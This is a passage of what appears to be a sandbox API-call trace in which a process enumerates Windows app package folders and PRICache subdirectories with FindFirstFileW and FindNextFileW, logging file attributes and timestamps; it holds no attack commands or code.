FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c1636cc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c1636cc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c1636cc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="ENVIRO~1.0_N")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db04be3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db04be3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db04be3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy", cAlternateFileName="HOLOCA~1.5_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3f592b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e3f592b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e3f592b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy", cAlternateFileName="HOLOIT~1.2_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd33b5198, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd33b5198, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd33b5198, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~2.0_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80235763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80235763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80235763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy", cAlternateFileName="MICROS~1.447")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb18f1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7cfb18f1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7cfb18f1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MI2C32~1.0_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7673c617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7673c617, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7673c617, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MICEC2~1.0_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b1e4202, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7b1e4202, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7b1e4202, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MIC1CC~1.0_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc0dcb3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xdbc0dcb3, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdbc0dcb3, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f5fd63a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f5fd63a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f5fd63a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI5A4E~1.0_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77138478, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77138478, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77138478, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MIFC10~1.0_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79521b5c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79521b5c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79521b5c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI189A~1.0_N")) returned 1 [0179.908] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc62ee79, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xcc62ee79, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xcc62ee79, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.0_N")) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd942a48, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xdd942a48, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdd942a48, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~4.0_N")) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eb2cb6, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd9eb2cb6, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd9eb2cb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.150")) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75db2f08, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75db2f08, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75db2f08, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI98FA~1.0_N")) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x753b713c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x753b713c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x753b713c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MIC120~1.0_N")) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74a7a048, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74a7a048, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74a7a048, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MI7DAE~1.0_N")) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7407e16d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7407e16d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7407e16d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MID492~1.0_N")) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x733f9bba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x733f9bba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x733f9bba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI6FCD~1.0_N")) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x725392b3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x725392b3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x725392b3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MI3009~1.0_N")) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d619bd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x70d619bd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x70d619bd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", cAlternateFileName="MI2456~1.0_N")) returned 1 [0179.912] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x701e842d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x701e842d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x701e842d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI829F~1.0_N")) returned 1 [0179.912] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd55d4d1e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd55d4d1e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd55d4d1e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.332")) returned 1 [0179.912] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c4851d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c4851d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c4851d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy", cAlternateFileName="MICROS~2.332")) returned 1 [0179.912] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f34dd66, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6f34dd66, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6f34dd66, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MIB10B~1.0_N")) returned 1 [0179.912] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7871fddf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7871fddf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7871fddf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="WINDOW~2.0_N")) returned 1 [0179.912] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd855dc57, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd855dc57, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd855dc57, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.0_N")) returned 1 [0179.912] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.912] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1296364935", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1296364935", lpFilePart=0x0) returned 0x43 [0179.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.913] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1296364935", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1296364935", lpFilePart=0x0) returned 0x43 [0179.913] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1296364935\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc316d801, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc316d801, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc316d801, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.913] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc316d801, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc316d801, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc316d801, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.914] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc316d801, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc316d801, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc316d801, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x201a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="3300210712.pri", cAlternateFileName="330021~1.PRI")) returned 1 [0179.914] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.914] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.914] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1301087654", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1301087654", lpFilePart=0x0) returned 0x43 [0179.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.914] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1301087654", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1301087654", lpFilePart=0x0) returned 0x43 [0179.914] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1301087654\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42dc9d5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc42dc9d5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc42dc9d5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.915] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42dc9d5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc42dc9d5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc42dc9d5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.915] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc42dc9d5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc42dc9d5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc42dc9d5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="431521421.pri", cAlternateFileName="431521~1.PRI")) returned 1 [0179.915] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.915] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.915] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1453256723", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1453256723", lpFilePart=0x0) returned 0x43 [0179.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.915] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1453256723", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1453256723", lpFilePart=0x0) returned 0x43 [0179.915] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1453256723\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86414229, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x86414229, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x86414229, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.916] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86414229, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x86414229, ftLastAccessTime.dwHighDateTime=0x1d5c556, 